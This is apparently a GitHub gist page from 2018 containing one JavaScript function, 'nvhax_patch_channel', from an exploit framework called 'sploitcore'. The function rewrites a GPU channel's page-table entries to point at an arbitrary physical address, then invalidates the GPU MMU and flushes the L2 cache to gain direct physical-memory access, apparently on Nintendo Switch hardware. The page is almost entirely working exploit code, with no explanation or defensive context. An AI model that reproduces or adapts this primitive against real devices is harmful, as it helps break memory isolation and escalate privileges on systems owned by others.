Created
December 28, 2018 19:48
-
-
Save hexkyz/f851228dc9add3c96f8cf7349297c066 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sploitcore.prototype.nvhax_patch_channel = function(ch_base_addr, target_paddr) { | |
// Map GPU MMIO | |
var gpu_io_vaddr = this.nvhax_map_io(0x57000000, 0x01000000); | |
// Page directory is always at channel + 0x15000 | |
var pdb_vaddr = utils.add2(ch_base_addr, 0x15000); | |
// Read page directory base IOVA | |
var pdb_iova_lo = this.nvhax_read32(utils.add2(ch_base_addr, 0x200)); | |
var pdb_iova_hi = this.nvhax_read32(utils.add2(ch_base_addr, 0x204)); | |
var pdb_iova = ((pdb_iova_lo >> 0x08) | (pdb_iova_hi << 0x18)); | |
// Page table is always at pdb + 0x2000 | |
var ptb_vaddr = utils.add2(pdb_vaddr, 0x2000); | |
// Read the first entry | |
var pte_test = this.nvhax_read32(ptb_vaddr); | |
// Encode the target physical address | |
var pte_val = ((((target_paddr >> 0x08) & 0x00FFFFFF) >>> 0) | 0x01); | |
// Replace the PTEs | |
this.nvhax_write32(utils.add2(ptb_vaddr, 0x00), pte_val + 0x000); | |
this.nvhax_write32(utils.add2(ptb_vaddr, 0x08), pte_val + 0x200); | |
this.nvhax_write32(utils.add2(ptb_vaddr, 0x10), pte_val + 0x400); | |
this.nvhax_write32(utils.add2(ptb_vaddr, 0x18), pte_val + 0x600); | |
this.nvhax_write32(utils.add2(ptb_vaddr, 0x20), pte_val + 0x800); | |
this.nvhax_write32(utils.add2(ptb_vaddr, 0x28), pte_val + 0xA00); | |
this.nvhax_write32(utils.add2(ptb_vaddr, 0x30), pte_val + 0xC00); | |
this.nvhax_write32(utils.add2(ptb_vaddr, 0x38), pte_val + 0xE00); | |
var mmu_ctrl_fifo_space = 0; | |
var mmu_ctrl_fifo_empty = 0; | |
// Poll fb_mmu_ctrl_r | |
while (!mmu_ctrl_fifo_space) | |
{ | |
var mmu_ctrl_data = this.nvhax_read32(utils.add2(gpu_io_vaddr, 0x00100C80)); | |
mmu_ctrl_fifo_space = ((mmu_ctrl_data >> 0x10) & 0xFF); | |
} | |
// Write to fb_mmu_invalidate_pdb_r | |
this.nvhax_write32(utils.add2(gpu_io_vaddr, 0x00100CB8), pdb_iova); | |
// Write to fb_mmu_invalidate_r | |
this.nvhax_write32(utils.add2(gpu_io_vaddr, 0x00100CBC), 0x80000001); | |
// Poll fb_mmu_ctrl_r | |
while (!mmu_ctrl_fifo_empty) | |
{ | |
var mmu_ctrl_data = this.nvhax_read32(utils.add2(gpu_io_vaddr, 0x00100C80)); | |
mmu_ctrl_fifo_empty = ((mmu_ctrl_data >> 0x0F) & 0x01); | |
} | |
var l2_flush_dirty_outstanding = 0; | |
var l2_flush_dirty_pending = 0; | |
var l2_system_invalidate_outstanding = 0; | |
var l2_system_invalidate_pending = 0; | |
// Write to flush_l2_flush_dirty_r | |
this.nvhax_write32(utils.add2(gpu_io_vaddr, 0x00070010), 0x01); | |
// Poll flush_l2_flush_dirty_r | |
while (l2_flush_dirty_outstanding && l2_flush_dirty_pending) | |
{ | |
var l2_flush_dirty_data = this.nvhax_read32(utils.add2(gpu_io_vaddr, 0x00070010)); | |
l2_flush_dirty_outstanding = ((l2_flush_dirty_data >> 0x01) & 0x01); | |
l2_flush_dirty_pending = ((l2_flush_dirty_data >> 0x00) & 0x01); | |
} | |
// Write to flush_l2_system_invalidate_r | |
this.nvhax_write32(utils.add2(gpu_io_vaddr, 0x00070004), 0x01); | |
// Poll flush_l2_system_invalidate_r | |
while (l2_system_invalidate_outstanding && l2_system_invalidate_pending) | |
{ | |
var l2_system_invalidate_data = this.nvhax_read32(utils.add2(gpu_io_vaddr, 0x00070004)); | |
l2_system_invalidate_outstanding = ((l2_system_invalidate_data >> 0x01) & 0x01); | |
l2_system_invalidate_pending = ((l2_system_invalidate_data >> 0x00) & 0x01); | |
} | |
// Calculate the channel's IOVA for PEEPHOLE | |
var ch_iova = ((((pdb_iova - 0x200) >> 0x04) & 0x0FFFFFFF) >>> 0); | |
return ch_iova; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment